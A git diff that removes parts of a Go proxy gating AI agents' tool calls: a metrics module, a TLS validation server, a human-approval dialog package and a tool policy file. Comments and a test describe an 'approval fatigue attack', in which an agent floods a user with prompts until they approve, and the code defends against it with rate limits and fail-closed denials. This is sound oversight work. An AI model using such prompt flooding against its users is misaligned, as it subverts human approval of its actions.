- return sb.String()
-}
diff --git a/implementations/go-proxy/pkg/server/metrics_test.go b/implementations/go-proxy/pkg/server/metrics_test.go
deleted file mode 100644
index 3bc3ecb..0000000
--- a/implementations/go-proxy/pkg/server/metrics_test.go
+++ /dev/null
@@ -1,135 +0,0 @@
-package server
-
-import (
- "strings"
- "testing"
-)
-
-func TestNewMetrics(t *testing.T) {
- m := NewMetrics()
-
- if m == nil {
- t.Fatal("NewMetrics should not return nil")
- }
-
- if m.GetRequestsTotal() != 0 {
- t.Errorf("Initial requests should be 0, got %d", m.GetRequestsTotal())
- }
-}
-
-func TestMetricsIncrementRequests(t *testing.T) {
- m := NewMetrics()
-
- m.IncrementRequests()
- if m.GetRequestsTotal() != 1 {
- t.Errorf("After 1 increment, requests should be 1, got %d", m.GetRequestsTotal())
- }
-
- m.IncrementRequests()
- m.IncrementRequests()
- if m.GetRequestsTotal() != 3 {
- t.Errorf("After 3 increments, requests should be 3, got %d", m.GetRequestsTotal())
- }
-}
-
-func TestMetricsIncrementDecision(t *testing.T) {
- m := NewMetrics()
-
- m.IncrementDecision("allow")
- m.IncrementDecision("allow")
- m.IncrementDecision("block")
-
- decisions := m.GetDecisionsTotal()
-
- if decisions["allow"] != 2 {
- t.Errorf("allow count should be 2, got %d", decisions["allow"])
- }
- if decisions["block"] != 1 {
- t.Errorf("block count should be 1, got %d", decisions["block"])
- }
-}
-
-func TestMetricsIncrementDecisionUnknown(t *testing.T) {
- m := NewMetrics()
-
- // Should not panic for unknown decision types
- m.IncrementDecision("unknown_decision")
-}
-
-func TestMetricsIncrementViolation(t *testing.T) {
- m := NewMetrics()
-
- m.IncrementViolation("argument_validation")
- m.IncrementViolation("argument_validation")
- m.IncrementViolation("tool_not_allowed")
-
- // Verify through Prometheus output
- output := m.Prometheus()
-
- if !strings.Contains(output, `aip_violations_total{type="argument_validation"}`) {
- t.Error("Prometheus output should contain argument_validation violation")
- }
-}
-
-func TestMetricsPrometheus(t *testing.T) {
- m := NewMetrics()
-
- m.IncrementRequests()
- m.IncrementDecision("allow")
-
- output := m.Prometheus()
-
- // Check for HELP comments
- if !strings.Contains(output, "# HELP aip_requests_total") {
- t.Error("Prometheus output should contain HELP for aip_requests_total")
- }
- if !strings.Contains(output, "# TYPE aip_requests_total counter") {
- t.Error("Prometheus output should contain TYPE for aip_requests_total")
- }
-
- // Check for actual metric
- if !strings.Contains(output, "aip_requests_total 1") {
- t.Error("Prometheus output should show requests_total = 1")
- }
-
- // Check for decisions
- if !strings.Contains(output, "# HELP aip_decisions_total") {
- t.Error("Prometheus output should contain HELP for aip_decisions_total")
- }
- if !strings.Contains(output, `aip_decisions_total{decision="allow"} 1`) {
- t.Error("Prometheus output should show allow decision = 1")
- }
-
- // Check for violations
- if !strings.Contains(output, "# HELP aip_violations_total") {
- t.Error("Prometheus output should contain HELP for aip_violations_total")
- }
-}
-
-func TestMetricsConcurrency(t *testing.T) {
- m := NewMetrics()
-
- // Run concurrent increments
- done := make(chan bool, 100)
- for i := 0; i < 100; i++ {
- go func() {
- m.IncrementRequests()
- m.IncrementDecision("allow")
- done <- true
- }()
- }
-
- // Wait for all goroutines
- for i := 0; i < 100; i++ {
- <-done
- }
-
- if m.GetRequestsTotal() != 100 {
- t.Errorf("After 100 concurrent increments, requests should be 100, got %d", m.GetRequestsTotal())
- }
-
- decisions := m.GetDecisionsTotal()
- if decisions["allow"] != 100 {
- t.Errorf("After 100 concurrent increments, allow should be 100, got %d", decisions["allow"])
- }
-}
diff --git a/implementations/go-proxy/pkg/server/server.go b/implementations/go-proxy/pkg/server/server.go
deleted file mode 100644
index 929865e..0000000
--- a/implementations/go-proxy/pkg/server/server.go
+++ /dev/null
@@ -1,145 +0,0 @@
-package server
-
-import (
- "context"
- "crypto/tls"
- "crypto/x509"
- "fmt"
- "log"
- "net/http"
- "os"
- "time"
-
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/identity"
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/policy"
-)
-
-// Server is the HTTP server for AIP validation.
-type Server struct {
- config *Config
- httpServer *http.Server
- handler *Handler
- logger *log.Logger
- engine *policy.Engine
- identityManager *identity.Manager
-}
-
-// NewServer creates a new AIP HTTP server.
-func NewServer(config *Config, engine *policy.Engine, identityManager *identity.Manager, logger *log.Logger) (*Server, error) {
- if config == nil {
- config = DefaultConfig()
- }
-
- if err := config.Validate(); err != nil {
- return nil, fmt.Errorf("invalid server config: %w", err)
- }
-
- if logger == nil {
- logger = log.New(os.Stderr, "[aip-server] ", log.LstdFlags|log.Lmsgprefix)
- }
-
- handler := NewHandler(engine, identityManager)
-
- // Create HTTP mux
- mux := http.NewServeMux()
- mux.HandleFunc(config.GetValidatePath(), handler.HandleValidate)
- mux.HandleFunc(config.GetHealthPath(), handler.HandleHealth)
- mux.HandleFunc(config.GetMetricsPath(), handler.HandleMetrics)
-
- httpServer := &http.Server{
- Addr: config.GetListen(),
- Handler: mux,
- ReadTimeout: 10 * time.Second,
- WriteTimeout: 10 * time.Second,
- IdleTimeout: 60 * time.Second,
- ReadHeaderTimeout: 5 * time.Second,
- }
-
- // Configure TLS if enabled
- if config.HasTLS() {
- tlsConfig, err := buildTLSConfig(config.TLS)
- if err != nil {
- return nil, fmt.Errorf("failed to build TLS config: %w", err)
- }
- httpServer.TLSConfig = tlsConfig
- }
-
- return &Server{
- config: config,
- httpServer: httpServer,
- handler: handler,
- logger: logger,
- engine: engine,
- identityManager: identityManager,
- }, nil
-}
-
-// buildTLSConfig creates a TLS configuration from the config.
-func buildTLSConfig(cfg *TLSConfig) (*tls.Config, error) {
- tlsConfig := &tls.Config{
- MinVersion: tls.VersionTLS12,
- }
-
- // Load client CA if mTLS is enabled
- if cfg.RequireClientCert && cfg.ClientCA != "" {
- caCert, err := os.ReadFile(cfg.ClientCA)
- if err != nil {
- return nil, fmt.Errorf("failed to read client CA: %w", err)
- }
-
- caCertPool := x509.NewCertPool()
- if !caCertPool.AppendCertsFromPEM(caCert) {
- return nil, fmt.Errorf("failed to parse client CA certificate")
- }
-
- tlsConfig.ClientCAs = caCertPool
- tlsConfig.ClientAuth = tls.RequireAndVerifyClientCert
- }
-
- return tlsConfig, nil
-}
-
-// Start starts the HTTP server.
-func (s *Server) Start() error {
- if !s.config.Enabled {
- return nil // Server not enabled
- }
-
- s.logger.Printf("Starting AIP server on %s", s.config.GetListen())
- s.logger.Printf(" Validation endpoint: %s", s.config.GetValidatePath())
- s.logger.Printf(" Health endpoint: %s", s.config.GetHealthPath())
- s.logger.Printf(" Metrics endpoint: %s", s.config.GetMetricsPath())
-
- if s.config.HasTLS() {
- s.logger.Printf(" TLS: enabled")
- go func() {
- if err := s.httpServer.ListenAndServeTLS(s.config.TLS.Cert, s.config.TLS.Key); err != nil && err != http.ErrServerClosed {
- s.logger.Printf("Server error: %v", err)
- }
- }()
- } else {
- s.logger.Printf(" TLS: disabled (localhost only)")
- go func() {
- if err := s.httpServer.ListenAndServe(); err != nil && err != http.ErrServerClosed {
- s.logger.Printf("Server error: %v", err)
- }
- }()
- }
-
- return nil
-}
-
-// Stop gracefully stops the HTTP server.
-func (s *Server) Stop(ctx context.Context) error {
- if !s.config.Enabled || s.httpServer == nil {
- return nil
- }
-
- s.logger.Printf("Stopping AIP server...")
- return s.httpServer.Shutdown(ctx)
-}
-
-// GetMetrics returns the server metrics.
-func (s *Server) GetMetrics() *Metrics {
- return s.handler.metrics
-}
diff --git a/implementations/go-proxy/pkg/ui/prompt.go b/implementations/go-proxy/pkg/ui/prompt.go
deleted file mode 100644
index 7e6d4b6..0000000
--- a/implementations/go-proxy/pkg/ui/prompt.go
+++ /dev/null
@@ -1,350 +0,0 @@
-// Package ui implements human-in-the-loop approval dialogs for AIP.
-//
-// This package provides native OS dialog integration for the "ask" action
-// in policy rules. When a tool call requires user approval, the proxy
-// spawns a native dialog box asking the user to Approve or Deny the action.
-//
-// Platform Support:
-// - macOS: Uses native Cocoa dialogs
-// - Linux: Uses zenity/kdialog (GTK/Qt)
-// - Windows: Uses native Win32 dialogs
-//
-// Headless Environment Handling:
-//
-// When running in a headless environment (CI/CD, containers, SSH without
-// display), the dialog will fail to spawn. In this case, we default to
-// DENY for security (fail-closed behavior).
-//
-// Timeout Behavior:
-//
-// To prevent blocking the agent indefinitely, dialog prompts have a
-// configurable timeout (default: 60 seconds). If the user doesn't respond
-// within the timeout, the request is automatically DENIED.
-package ui
-
-import (
- "context"
- "encoding/json"
- "fmt"
- "os"
- "sync"
- "time"
-
- "github.com/gen2brain/dlgs"
-)
-
-// DefaultTimeout is the default duration to wait for user response.
-// After this duration, the request is automatically denied.
-const DefaultTimeout = 60 * time.Second
-
-// DefaultMaxPromptsPerMinute is the default rate limit for approval prompts.
-// If more than this many prompts are requested in a minute, subsequent
-// requests are auto-denied to prevent approval fatigue attacks.
-const DefaultMaxPromptsPerMinute = 10
-
-// DefaultCooldownDuration is how long to auto-deny after rate limit is hit.
-const DefaultCooldownDuration = 5 * time.Minute
-
-// PrompterConfig holds configuration for the user prompt system.
-type PrompterConfig struct {
- // Timeout is the maximum time to wait for user response.
- // Default: 60 seconds. If zero, DefaultTimeout is used.
- Timeout time.Duration
-
- // Title is the dialog window title.
- // Default: "AIP Security Alert"
- Title string
-
- // MaxPromptsPerMinute limits how many approval prompts can be shown per minute.
- // This prevents "approval fatigue" attacks where an agent floods the user
- // with prompts until they reflexively click "Approve".
- // Default: 10. Set to 0 to disable rate limiting.
- MaxPromptsPerMinute int
-
- // CooldownDuration is how long to auto-deny requests after the rate limit
- // is exceeded. This gives the user time to investigate the suspicious activity.
- // Default: 5 minutes. Set to 0 to use default.
- CooldownDuration time.Duration
-}
-
-// Prompter handles user approval dialogs.
-//
-// The prompter is designed to be called from the proxy's main loop
-// when a tool call has action="ask" in its policy rule.
-//
-// Rate Limiting:
-//
-// To prevent approval fatigue attacks, the prompter tracks how many
-// prompts have been shown recently. If too many prompts are requested
-// in a short time, subsequent requests are auto-denied and a warning
-// is logged. This protects users from being tricked into approving
-// malicious requests after being overwhelmed with benign ones.
-type Prompter struct {
- cfg PrompterConfig
-
- // Rate limiting state
- mu sync.Mutex
- promptTimes []time.Time // Timestamps of recent prompts
- cooldownUntil time.Time // If set, auto-deny until this time
- rateLimitLogger func(format string, args ...any)
-}
-
-// NewPrompter creates a new Prompter with the given configuration.
-// If cfg is nil, default configuration is used.
-func NewPrompter(cfg *PrompterConfig) *Prompter {
- p := &Prompter{
- cfg: PrompterConfig{
- Timeout: DefaultTimeout,
- Title: "AIP Security Alert",
- MaxPromptsPerMinute: DefaultMaxPromptsPerMinute,
- CooldownDuration: DefaultCooldownDuration,
- },
- promptTimes: make([]time.Time, 0),
- }
- if cfg != nil {
- if cfg.Timeout > 0 {
- p.cfg.Timeout = cfg.Timeout
- }
- if cfg.Title != "" {
- p.cfg.Title = cfg.Title
- }
- if cfg.MaxPromptsPerMinute > 0 {
- p.cfg.MaxPromptsPerMinute = cfg.MaxPromptsPerMinute
- } else if cfg.MaxPromptsPerMinute < 0 {
- // Negative value disables rate limiting
- p.cfg.MaxPromptsPerMinute = 0
- }
- if cfg.CooldownDuration > 0 {
- p.cfg.CooldownDuration = cfg.CooldownDuration
- }
- }
- return p
-}
-
-// SetLogger sets a logger function for rate limit warnings.
-// The logger receives format strings compatible with log.Printf.
-func (p *Prompter) SetLogger(logger func(format string, args ...any)) {
- p.mu.Lock()
- defer p.mu.Unlock()
- p.rateLimitLogger = logger
-}
-
-// logRateLimit logs a rate limiting event if a logger is configured.
-func (p *Prompter) logRateLimit(format string, args ...any) {
- if p.rateLimitLogger != nil {
- p.rateLimitLogger(format, args...)
- }
-}
-
-// AskUser displays a native OS dialog asking the user to approve a tool call.
-//
-// Parameters:
-// - tool: The name of the tool being invoked
-// - args: The arguments passed to the tool (displayed as JSON)
-//
-// Returns:
-// - true if user clicked "Yes" (approve)
-// - false if user clicked "No" (deny), timeout occurred, or dialog failed
-//
-// Security Note:
-//
-// This function defaults to DENY (false) in all failure cases:
-// - Dialog failed to spawn (headless environment)
-// - User didn't respond within timeout
-// - Any unexpected error occurred
-//
-// This implements fail-closed security behavior.
-func (p *Prompter) AskUser(tool string, args map[string]any) bool {
- return p.AskUserContext(context.Background(), tool, args)
-}
-
-// AskUserContext is like AskUser but accepts a context for cancellation.
-// The context timeout takes precedence over the configured timeout.
-//
-// Rate Limiting:
-//
-// If too many prompts have been requested recently, this method returns
-// false immediately without showing a dialog. This prevents approval
-// fatigue attacks where an agent floods the user with prompts.
-func (p *Prompter) AskUserContext(ctx context.Context, tool string, args map[string]any) bool {
- // Check rate limiting first
- if !p.checkRateLimit(tool) {
- return false // Auto-deny due to rate limit
- }
-
- // Build the message
- message := p.buildMessage(tool, args)
-
- // Create result channel
- resultCh := make(chan bool, 1)
-
- // Spawn dialog in goroutine (dlgs.Question is blocking)
- go func() {
- approved, err := dlgs.Question(p.cfg.Title, message, true)
- if err != nil {
- // Dialog failed (headless environment, display error, etc.)
- // Default to DENY for security
- resultCh <- false
- return
- }
- resultCh <- approved
- }()
-
- // Determine effective timeout
- timeout := p.cfg.Timeout
- if deadline, ok := ctx.Deadline(); ok {
- ctxTimeout := time.Until(deadline)
- if ctxTimeout < timeout {
- timeout = ctxTimeout
- }
- }
-
- // Wait for result with timeout
- select {
- case result := <-resultCh:
- return result
- case <-time.After(timeout):
- // Timeout - default to DENY
- return false
- case <-ctx.Done():
- // Context cancelled - default to DENY
- return false
- }
-}
-
-// checkRateLimit verifies we haven't exceeded the prompt rate limit.
-// Returns true if the prompt is allowed, false if rate limited.
-//
-// This is the core defense against approval fatigue attacks.
-func (p *Prompter) checkRateLimit(tool string) bool {
- // Rate limiting disabled?
- if p.cfg.MaxPromptsPerMinute <= 0 {
- return true
- }
-
- p.mu.Lock()
- defer p.mu.Unlock()
-
- now := time.Now()
-
- // Check if we're in cooldown period
- if now.Before(p.cooldownUntil) {
- remaining := p.cooldownUntil.Sub(now).Round(time.Second)
- p.logRateLimit("RATE_LIMIT_COOLDOWN: Auto-denying %q (cooldown active, %v remaining)", tool, remaining)
- return false
- }
-
- // Clean up old timestamps (older than 1 minute)
- cutoff := now.Add(-time.Minute)
- validTimes := make([]time.Time, 0, len(p.promptTimes))
- for _, t := range p.promptTimes {
- if t.After(cutoff) {
- validTimes = append(validTimes, t)
- }
- }
- p.promptTimes = validTimes
-
- // Check if we've exceeded the rate limit
- if len(p.promptTimes) >= p.cfg.MaxPromptsPerMinute {
- // Enter cooldown mode
- p.cooldownUntil = now.Add(p.cfg.CooldownDuration)
- p.logRateLimit("RATE_LIMIT_EXCEEDED: %d prompts in last minute (max: %d). "+
- "Auto-denying %q. Entering cooldown for %v. "+
- "SECURITY: Possible approval fatigue attack detected!",
- len(p.promptTimes), p.cfg.MaxPromptsPerMinute, tool, p.cfg.CooldownDuration)
- return false
- }
-
- // Record this prompt
- p.promptTimes = append(p.promptTimes, now)
- return true
-}
-
-// GetRateLimitStatus returns the current rate limiting status.
-// Useful for diagnostics and testing.
-func (p *Prompter) GetRateLimitStatus() (promptsInLastMinute int, inCooldown bool, cooldownRemaining time.Duration) {
- p.mu.Lock()
- defer p.mu.Unlock()
-
- now := time.Now()
-
- // Count recent prompts
- cutoff := now.Add(-time.Minute)
- count := 0
- for _, t := range p.promptTimes {
- if t.After(cutoff) {
- count++
- }
- }
-
- inCooldown = now.Before(p.cooldownUntil)
- if inCooldown {
- cooldownRemaining = p.cooldownUntil.Sub(now)
- }
-
- return count, inCooldown, cooldownRemaining
-}
-
-// ResetRateLimit clears the rate limit state. Useful for testing.
-func (p *Prompter) ResetRateLimit() {
- p.mu.Lock()
- defer p.mu.Unlock()
- p.promptTimes = make([]time.Time, 0)
- p.cooldownUntil = time.Time{}
-}
-
-// buildMessage constructs the dialog message content.
-func (p *Prompter) buildMessage(tool string, args map[string]any) string {
- // Format arguments as JSON for display
- argsJSON := "{}"
- if len(args) > 0 {
- if data, err := json.MarshalIndent(args, "", " "); err == nil {
- argsJSON = string(data)
- }
- }
-
- return fmt.Sprintf(
- "An agent wants to execute a tool that requires your approval.\n\n"+
- "Tool: %s\n\n"+
- "Arguments:\n%s\n\n"+
- "Do you want to allow this action?",
- tool, argsJSON,
- )
-}
-
-// IsHeadless returns true if we're likely running in a headless environment.
-//
-// This is a best-effort detection that checks for common indicators:
-// - DISPLAY environment variable not set (Linux/Unix)
-// - Running in a container (checking for /.dockerenv)
-// - CI environment variables present
-//
-// Note: This is not foolproof. The actual dialog call may still fail
-// in some headless environments, which is handled gracefully.
-func IsHeadless() bool {
- // Check for common CI environment variables
- ciVars := []string{"CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL", "TRAVIS"}
- for _, v := range ciVars {
- if os.Getenv(v) != "" {
- return true
- }
- }
-
- // Check for Docker container (common indicator)
- if _, err := os.Stat("/.dockerenv"); err == nil {
- return true
- }
-
- // On Linux/Unix, check for DISPLAY (X11) or WAYLAND_DISPLAY
- // Note: This doesn't apply to macOS which uses Cocoa
- if os.Getenv("DISPLAY") == "" && os.Getenv("WAYLAND_DISPLAY") == "" {
- // Only consider headless on non-macOS systems
- // macOS uses Cocoa dialogs which don't need DISPLAY
- // We detect this by checking if we're on Darwin (handled by dlgs internally)
- // For simplicity, we assume if both are empty and it's not explicitly macOS,
- // we might be headless. dlgs will handle the actual failure gracefully.
- return false // Let dlgs try; it handles platform detection better
- }
-
- return false
-}
diff --git a/implementations/go-proxy/pkg/ui/prompt_test.go b/implementations/go-proxy/pkg/ui/prompt_test.go
deleted file mode 100644
index 8af545c..0000000
--- a/implementations/go-proxy/pkg/ui/prompt_test.go
+++ /dev/null
@@ -1,423 +0,0 @@
-// Package ui tests for the AIP Human-in-the-Loop prompt system.
-package ui
-
-import (
- "context"
- "fmt"
- "os"
- "testing"
- "time"
-)
-
-// isCI returns true if running in a CI environment.
-func isCI() bool {
- // GitHub Actions, GitLab CI, CircleCI, Travis, etc. all set CI=true
- return os.Getenv("CI") == "true" || os.Getenv("CI") == "1"
-}
-
-// TestNewPrompterDefaults tests that NewPrompter uses default values correctly.
-func TestNewPrompterDefaults(t *testing.T) {
- p := NewPrompter(nil)
-
- if p.cfg.Timeout != DefaultTimeout {
- t.Errorf("Default timeout = %v, want %v", p.cfg.Timeout, DefaultTimeout)
- }
- if p.cfg.Title != "AIP Security Alert" {
- t.Errorf("Default title = %q, want %q", p.cfg.Title, "AIP Security Alert")
- }
-}
-
-// TestNewPrompterCustomConfig tests that NewPrompter respects custom config.
-func TestNewPrompterCustomConfig(t *testing.T) {
- cfg := &PrompterConfig{
- Timeout: 30 * time.Second,
- Title: "Custom Title",
- }
- p := NewPrompter(cfg)
-
- if p.cfg.Timeout != 30*time.Second {
- t.Errorf("Custom timeout = %v, want %v", p.cfg.Timeout, 30*time.Second)
- }
- if p.cfg.Title != "Custom Title" {
- t.Errorf("Custom title = %q, want %q", p.cfg.Title, "Custom Title")
- }
-}
-
-// TestBuildMessage tests that the dialog message is formatted correctly.
-func TestBuildMessage(t *testing.T) {
- p := NewPrompter(nil)
-
- tests := []struct {
- name string
- tool string
- args map[string]any
- contains []string
- }{
- {
- name: "Basic tool without args",
- tool: "test_tool",
- args: nil,
- contains: []string{"test_tool", "{}", "allow this action"},
- },
- {
- name: "Tool with simple args",
- tool: "fetch_url",
- args: map[string]any{"url": "https://example.com"},
- contains: []string{"fetch_url", "url", "https://example.com"},
- },
- {
- name: "Tool with multiple args",
- tool: "run_query",
- args: map[string]any{"database": "prod", "query": "SELECT *"},
- contains: []string{"run_query", "database", "prod", "query", "SELECT *"},
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- msg := p.buildMessage(tt.tool, tt.args)
-
- for _, substr := range tt.contains {
- if !containsString(msg, substr) {
- t.Errorf("Message missing %q:\n%s", substr, msg)
- }
- }
- })
- }
-}
-
-// TestAskUserContextCancellation tests that context cancellation returns false.
-func TestAskUserContextCancellation(t *testing.T) {
- if isCI() {
- t.Skip("Skipping interactive test in CI environment")
- }
-
- p := NewPrompter(&PrompterConfig{
- Timeout: 10 * time.Second, // Long timeout to ensure context cancels first
- })
-
- ctx, cancel := context.WithCancel(context.Background())
-
- // Cancel immediately
- cancel()
-
- // Should return false immediately due to cancelled context
- start := time.Now()
- result := p.AskUserContext(ctx, "test_tool", nil)
- elapsed := time.Since(start)
-
- if result {
- t.Error("Expected false when context is cancelled")
- }
- if elapsed > 100*time.Millisecond {
- t.Errorf("Should return immediately on cancelled context, took %v", elapsed)
- }
-}
-
-// TestAskUserContextTimeout tests that timeout returns false.
-func TestAskUserContextTimeout(t *testing.T) {
- if isCI() {
- t.Skip("Skipping interactive test in CI environment")
- }
-
- p := NewPrompter(&PrompterConfig{
- Timeout: 100 * time.Millisecond, // Very short timeout
- })
-
- // In headless test environment, dialog will fail, so this tests
- // that the timeout mechanism works correctly
- start := time.Now()
- result := p.AskUserContext(context.Background(), "test_tool", nil)
- elapsed := time.Since(start)
-
- // Should return false (either from dialog failure or timeout)
- if result {
- t.Error("Expected false in headless test environment")
- }
-
- // Should complete within reasonable time (timeout + buffer)
- if elapsed > 2*time.Second {
- t.Errorf("Took too long: %v (expected < 2s)", elapsed)
- }
-}
-
-// TestIsHeadless tests headless environment detection.
-func TestIsHeadless(t *testing.T) {
- // This test just verifies the function doesn't panic
- // Actual result depends on environment
- _ = IsHeadless()
-}
-
-// -----------------------------------------------------------------------------
-// Rate Limiting Tests
-// -----------------------------------------------------------------------------
-
-// TestRateLimitDefaults tests that rate limiting is enabled by default.
-func TestRateLimitDefaults(t *testing.T) {
- p := NewPrompter(nil)
-
- if p.cfg.MaxPromptsPerMinute != DefaultMaxPromptsPerMinute {
- t.Errorf("Default MaxPromptsPerMinute = %d, want %d",
- p.cfg.MaxPromptsPerMinute, DefaultMaxPromptsPerMinute)
- }
- if p.cfg.CooldownDuration != DefaultCooldownDuration {
- t.Errorf("Default CooldownDuration = %v, want %v",
- p.cfg.CooldownDuration, DefaultCooldownDuration)
- }
-}
-
-// TestRateLimitCustomConfig tests custom rate limit configuration.
-func TestRateLimitCustomConfig(t *testing.T) {
- cfg := &PrompterConfig{
- MaxPromptsPerMinute: 5,
- CooldownDuration: 2 * time.Minute,
- }
- p := NewPrompter(cfg)
-
- if p.cfg.MaxPromptsPerMinute != 5 {
- t.Errorf("MaxPromptsPerMinute = %d, want 5", p.cfg.MaxPromptsPerMinute)
- }
- if p.cfg.CooldownDuration != 2*time.Minute {
- t.Errorf("CooldownDuration = %v, want 2m", p.cfg.CooldownDuration)
- }
-}
-
-// TestRateLimitDisabled tests that negative value disables rate limiting.
-func TestRateLimitDisabled(t *testing.T) {
- cfg := &PrompterConfig{
- MaxPromptsPerMinute: -1, // Disable
- }
- p := NewPrompter(cfg)
-
- if p.cfg.MaxPromptsPerMinute != 0 {
- t.Errorf("Disabled rate limit should be 0, got %d", p.cfg.MaxPromptsPerMinute)
- }
-
- // With rate limiting disabled, checkRateLimit should always return true
- for i := 0; i < 100; i++ {
- if !p.checkRateLimit("test_tool") {
- t.Fatal("checkRateLimit should always return true when disabled")
- }
- }
-}
-
-// TestRateLimitEnforced tests that rate limiting blocks excessive prompts.
-func TestRateLimitEnforced(t *testing.T) {
- cfg := &PrompterConfig{
- MaxPromptsPerMinute: 3,
- CooldownDuration: 100 * time.Millisecond, // Short for testing
- }
- p := NewPrompter(cfg)
-
- var logMessages []string
- p.SetLogger(func(format string, args ...any) {
- logMessages = append(logMessages, fmt.Sprintf(format, args...))
- })
-
- // First 3 should be allowed
- for i := 0; i < 3; i++ {
- if !p.checkRateLimit("tool_" + string(rune('a'+i))) {
- t.Errorf("Request %d should be allowed", i+1)
- }
- }
-
- // 4th should be blocked
- if p.checkRateLimit("tool_blocked") {
- t.Error("4th request should be blocked by rate limit")
- }
-
- // Verify warning was logged
- if len(logMessages) == 0 {
- t.Error("Expected rate limit warning to be logged")
- }
-
- // Check status
- count, inCooldown, _ := p.GetRateLimitStatus()
- if count != 3 {
- t.Errorf("Expected 3 prompts in last minute, got %d", count)
- }
- if !inCooldown {
- t.Error("Should be in cooldown after exceeding limit")
- }
-
- // Wait for cooldown to expire
- time.Sleep(150 * time.Millisecond)
-
- // After cooldown, we're still within the 1-minute window with 3 entries,
- // so we can't add more until those expire. This is correct behavior.
- // Let's manually age the entries for this test.
- p.mu.Lock()
- for i := range p.promptTimes {
- p.promptTimes[i] = time.Now().Add(-2 * time.Minute) // Age them out
- }
- p.mu.Unlock()
-
- // Should be allowed again after cooldown and entries expired
- if !p.checkRateLimit("tool_after_cooldown") {
- t.Error("Request should be allowed after cooldown and entries expired")
- }
-}
-
-// TestRateLimitCooldown tests that cooldown period works correctly.
-func TestRateLimitCooldown(t *testing.T) {
- cfg := &PrompterConfig{
- MaxPromptsPerMinute: 2,
- CooldownDuration: 200 * time.Millisecond,
- }
- p := NewPrompter(cfg)
-
- // Exhaust the limit
- p.checkRateLimit("tool1")
- p.checkRateLimit("tool2")
- p.checkRateLimit("tool3") // This triggers cooldown
-
- // Immediate request should be blocked
- if p.checkRateLimit("tool4") {
- t.Error("Should be blocked during cooldown")
- }
-
- // Check cooldown status
- _, inCooldown, remaining := p.GetRateLimitStatus()
- if !inCooldown {
- t.Error("Should be in cooldown")
- }
- if remaining > 200*time.Millisecond || remaining < 0 {
- t.Errorf("Cooldown remaining %v out of expected range", remaining)
- }
-
- // Wait for cooldown
- time.Sleep(250 * time.Millisecond)
-
- // Should be allowed now
- _, inCooldown, _ = p.GetRateLimitStatus()
- if inCooldown {
- t.Error("Should not be in cooldown after waiting")
- }
-}
-
-// TestRateLimitReset tests the ResetRateLimit method.
-func TestRateLimitReset(t *testing.T) {
- cfg := &PrompterConfig{
- MaxPromptsPerMinute: 2,
- CooldownDuration: 1 * time.Hour, // Long cooldown
- }
- p := NewPrompter(cfg)
-
- // Exhaust limit and trigger cooldown
- p.checkRateLimit("tool1")
- p.checkRateLimit("tool2")
- p.checkRateLimit("tool3")
-
- count, inCooldown, _ := p.GetRateLimitStatus()
- if count == 0 || !inCooldown {
- t.Error("Should have prompts recorded and be in cooldown")
- }
-
- // Reset
- p.ResetRateLimit()
-
- count, inCooldown, _ = p.GetRateLimitStatus()
- if count != 0 {
- t.Errorf("After reset, count should be 0, got %d", count)
- }
- if inCooldown {
- t.Error("After reset, should not be in cooldown")
- }
-
- // Should be able to prompt again
- if !p.checkRateLimit("tool_after_reset") {
- t.Error("Should be allowed after reset")
- }
-}
-
-// TestRateLimitOldEntriesExpire tests that old prompt records are cleaned up.
-func TestRateLimitOldEntriesExpire(t *testing.T) {
- cfg := &PrompterConfig{
- MaxPromptsPerMinute: 100, // High limit so we don't trigger cooldown
- CooldownDuration: 1 * time.Hour,
- }
- p := NewPrompter(cfg)
-
- // Add some prompts
- p.checkRateLimit("tool1")
- p.checkRateLimit("tool2")
-
- count1, _, _ := p.GetRateLimitStatus()
-
- // Manually age the entries (for testing without waiting a minute)
- p.mu.Lock()
- for i := range p.promptTimes {
- p.promptTimes[i] = time.Now().Add(-2 * time.Minute) // 2 minutes ago
- }
- p.mu.Unlock()
-
- // The old entries should be cleaned up on next check
- p.checkRateLimit("tool3")
-
- count2, _, _ := p.GetRateLimitStatus()
- if count2 >= count1 {
- t.Errorf("Old entries should have been cleaned up. Before: %d, After: %d", count1, count2)
- }
-}
-
-// TestRateLimitFatigueAttackSimulation simulates an approval fatigue attack.
-// This is the key security test for this feature.
-func TestRateLimitFatigueAttackSimulation(t *testing.T) {
- cfg := &PrompterConfig{
- MaxPromptsPerMinute: 5,
- CooldownDuration: 100 * time.Millisecond,
- }
- p := NewPrompter(cfg)
-
- var warnings []string
- p.SetLogger(func(format string, args ...any) {
- warnings = append(warnings, fmt.Sprintf(format, args...))
- })
-
- // Simulate rapid-fire approval requests (fatigue attack pattern)
- allowed := 0
- blocked := 0
- for i := 0; i < 20; i++ {
- if p.checkRateLimit(fmt.Sprintf("malicious_tool_%d", i)) {
- allowed++
- } else {
- blocked++
- }
- }
-
- // CRITICAL SECURITY CHECK:
- // Only the first 5 should have been allowed
- if allowed != 5 {
- t.Errorf("SECURITY: Expected exactly 5 prompts allowed, got %d", allowed)
- }
- if blocked != 15 {
- t.Errorf("SECURITY: Expected 15 prompts blocked, got %d", blocked)
- }
-
- // Verify security warning was logged
- foundSecurityWarning := false
- for _, w := range warnings {
- if containsSubstring(w, "fatigue attack") {
- foundSecurityWarning = true
- break
- }
- }
- if !foundSecurityWarning {
- t.Error("SECURITY: Expected fatigue attack warning to be logged")
- }
-}
-
-// containsString checks if str contains substr.
-func containsString(str, substr string) bool {
- return len(str) >= len(substr) && (str == substr || len(substr) == 0 ||
- (len(str) > 0 && containsSubstring(str, substr)))
-}
-
-func containsSubstring(s, substr string) bool {
- for i := 0; i <= len(s)-len(substr); i++ {
- if s[i:i+len(substr)] == substr {
- return true
- }
- }
- return false
-}
diff --git a/implementations/go-proxy/test/agent.yaml b/implementations/go-proxy/test/agent.yaml
deleted file mode 100644
index b333db6..0000000
--- a/implementations/go-proxy/test/agent.yaml
+++ /dev/null
@@ -1,21 +0,0 @@
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: test-policy
-spec:
- allowed_tools:
- - "list_files"
- # "delete_files" is implicitly blocked
-
- # Phase 3: Granular argument-level validation
- tool_rules:
- # GeminiJack Defense: Only allow GitHub URLs
- - tool: fetch_url
- allow_args:
- url: "^https://github\\.com/.*"
-
- # SQL Injection Defense: Only allow SELECT queries on safe databases
- - tool: run_query
- allow_args:
- database: "^(prod_readonly|staging)$"
- query: "^SELECT\\s+.*"
